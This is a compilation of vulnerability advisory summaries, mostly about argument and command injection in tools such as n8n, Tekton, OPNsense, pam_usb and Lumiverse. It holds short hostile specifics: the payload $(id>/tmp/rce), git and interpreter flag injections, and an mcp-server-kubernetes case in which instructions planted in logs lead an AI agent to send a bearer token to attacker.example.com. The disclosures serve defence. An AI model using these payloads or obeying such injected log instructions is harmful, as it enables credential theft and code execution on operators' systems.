n8n is an open source workflow automation platform. Prior to 1.123.43, 2.22.1, and 2.20.7, an authenticated user with permission to create or modify workflows could inject CLI flags on the Git node's Push operation allowing an attacker to read arbitrary files from the n8n server potentially leading to full compromise. This vulnerability is fixed in 1.123.43, 2.22.1, and 2.20.7.
CVE-2026-12530 is a high-severity vulnerability in AWS Bedrock AgentCore Python SDK versions from 1.1.3 up to but not including 1.6.1. It involves improper neutralization of argument delimiters in the install_packages() method, which could allow a remote authenticated user to execute arbitrary commands within the Code Interpreter sandbox by crafting malicious package name arguments. AWS has released version 1.6.1 to address this issue.
Argument injection vulnerability in WordPress Toolkit before 6.11.0 as used in cPanel & WHM, allows remote authenticated users to bypass cross-tenant authorization and execute arbitrary wp-toolkit CLI commands as another account.
mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.
A command injection vulnerability in Atril Document Viewer prior to versions 1.26.3 and 1.28.4 allows remote code execution when a user clicks a malicious link inside a specially crafted PDF. The vulnerability arises from improper quoting of attacker-controlled PDF link-destination fields, enabling execution of arbitrary code with the user's privileges. The exploit can be packaged as a single file that is both a valid PDF and ELF shared library, facilitating single-click execution. Fixed in versions 1.26.3 and 1.28.4.
### Summary
Due to the insufficient sanitization of the `file` argument in the `launchEditor`, an attacker can execute arbitrary commands on Windows by supplying a filename that contains special characters.
### Impact
If the following conditions are met, an attacker can execute arbitrary commands on the computer that is using the `launch-editor`:
- An attacker can place a file with the malicious filename
- An attacker can call the `launchEditor` method with the `file` argument controlled
- The `launch-editor` package is running on Windows
For example, some development server using this package satisfy these conditions, as a malicious website might be able to force the downloading of a file and the path of that file is predictable.
### Patch
This issue has been fixed in the `launch-editor` version 2.9.0 ([commit](https://github.com/vitejs/launch-editor/commit/971291e8a6a91226e1616c5c0ec85423d2d50a5e)).
Input validation bypass in SMB volume mount handling in CloudFoundry Foundation diego-release allows low-privileged CF space developer to inject arbitrary kernel CIFS mount options via bypassing the mount-option allowlist, enabling privilege escalation and security control bypass on multi-tenant Diego cells.
Affected versions:
smb-volume-release: All versions prior to v3.60.0
CF Deployment: All versions prior to v56.0.0
CVE-2026-49373 is a high-severity vulnerability in JetBrains TeamCity before version 2026.1 that allows remote code execution via Perforce connection settings. The vulnerability is classified under CWE-88, which relates to improper neutralization of commands or arguments. There is no official patch or remediation level currently confirmed, and no known exploits in the wild have been reported. The vulnerability requires at least low privileges and no user interaction to exploit, with a high impact on confidentiality but limited impact on integrity and no impact on availability.
CVE-2026-48116 is a command injection vulnerability in Mintplex-Labs anything-llm versions prior to 1.13.0. The issue arises because the filesystem-search-files agent skill passes an LLM-controlled pattern parameter to ripgrep without using an end-of-options separator, allowing specially crafted patterns to be interpreted as command options. This enables an attacker who can interact with the agent and has the filesystem plugin enabled to execute arbitrary commands inside the server container. The vulnerability is fixed in version 1.13.0.
pam_usb provides hardware authentication for Linux using ordinary removable media. Prior to 0.8.7, a crafted UUID such as $(id>/tmp/rce) in the config causes root RCE when pamusb-conf --reset-pads is run. A USB device with a crafted filesystem UUID (some controllers allow this) can inject the payload at --add-device time. Also, userName from the XML config is passed to os.system() in pamusb-agent, which invokes a shell. This vulnerability is fixed in 0.8.7.
CVE-2026-44449 is a critical command injection vulnerability in prolix-oc's Lumiverse AI chat application versions prior to 0.9.7. The issue arises when the toSmbPath(fullPath) call fails and the fallback method concatenates an unvalidated basename directly into an smbclient command script. This allows an attacker to inject shell commands via special characters like ';' and '! cmd', leading to arbitrary command execution on the Lumiverse server. The vulnerability is fixed in version 0.9.7.
Lumiverse is a full-featured AI chat application. Prior to 0.9.7, the MCP server creation endpoint validates the command field against an allowlist of binary names but forwards the args array to the child process without any validation. Every binary on the allowlist accepts an inline-code execution flag (-e for node/bun, -c for python3/deno), giving any logged-in user arbitrary OS-level code execution on the Lumiverse server. The route requires only requireAuth (not requireOwner). The server binds on all interfaces (::) and the host-header rebinding check is bypassed trivially by any HTTP client that sends Host: localhost:<port> directly, making this exploitable from any machine with network access to the server port. This vulnerability is fixed in 0.9.7.
Prefect version 3.6.18 contains a command injection vulnerability in the GitHubRepository block of the prefect-github integration. The vulnerability arises because the reference field is directly concatenated into a git clone command without proper sanitization, allowing injection of arbitrary git command-line options. This can lead to Server-Side Request Forgery (SSRF), credential theft, or remote code execution. The issue affects the aget_directory() and get_directory() methods. GitLab and BitBucket integrations are not affected as they use safer command construction methods.
Red Hat has issued a security advisory for python3 in Red Hat Enterprise Linux 8.4 variants addressing two vulnerabilities: CVE-2026-6100, a use-after-free in decompression modules that could lead to arbitrary code execution or information disclosure, and CVE-2026-4786, a command injection vulnerability in the webbrowser.open() API allowing arbitrary code execution. These vulnerabilities affect python3 packages in Red Hat Enterprise Linux 8.4 Advanced Update Support and Extended Update Support. The advisory rates the security impact as Important and provides updated packages to remediate these issues.
Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration. Versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1 fix the issue.
CVE-2026-45158 is a critical vulnerability in OPNsense core versions prior to 26.1.8. It involves improper neutralization of argument delimiters in a command, specifically in the DHCP configuration processing. Unsanitized user input is passed to a shell script, enabling remote code execution as root on the underlying FreeBSD operating system. This vulnerability is fixed in version 26.1.8. The CVSS score is 9.1, indicating a high severity with network attack vector, low attack complexity, and full impact on confidentiality, integrity, and availability.
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.7, the XMLRPC method opnsense.restore_config_section fails to sanitize user supplied input leading to Remote Code Execution. This vulnerability is fixed in 26.1.7.
CVE-2025-40948 is a vulnerability in multiple versions of Siemens RUGGEDCOM ROX MX5000 series devices prior to version 2.17.1. The issue arises from improper validation of input in the web server's JSON-RPC interface, classified as CWE-88 (Improper Neutralization of Argument Delimiters in a Command). An authenticated remote attacker could exploit this flaw to read arbitrary files on the underlying operating system with root privileges. The vulnerability has a CVSS 3.1 base score of 6.8, indicating medium severity. No official patch or remediation guidance has been provided yet by Siemens. There are no known exploits in the wild at this time.
The Adversarial Robustness Toolbox (ART) thru 1.20.1 contains a command-line argument injection vulnerability in its Kubeflow component (robustness_evaluation_fgsm_pytorch.py). The script uses the unsafe eval() function to parse string values provided via the --clip_values and --input_shape command-line arguments. This allows an attacker to inject arbitrary Python code into these arguments, which will be executed when eval() is called. The vulnerability can be exploited remotely if an attacker can control these arguments (e.g., through pipeline configuration or automated scripts), leading to arbitrary code execution on the system running the ART evaluation.
A high-severity vulnerability (CVE-2026-43893) exists in photostructure's exiftool-vendored.js prior to version 35.19.0. The issue involves improper neutralization of argument delimiters, allowing attacker-controlled input containing newline or carriage return characters to inject additional arguments into ExifTool commands. This can cause ExifTool to read or write files accessible to its process based on attacker input. No remote code execution has been demonstrated. The vulnerability is fixed in version 35.19.0.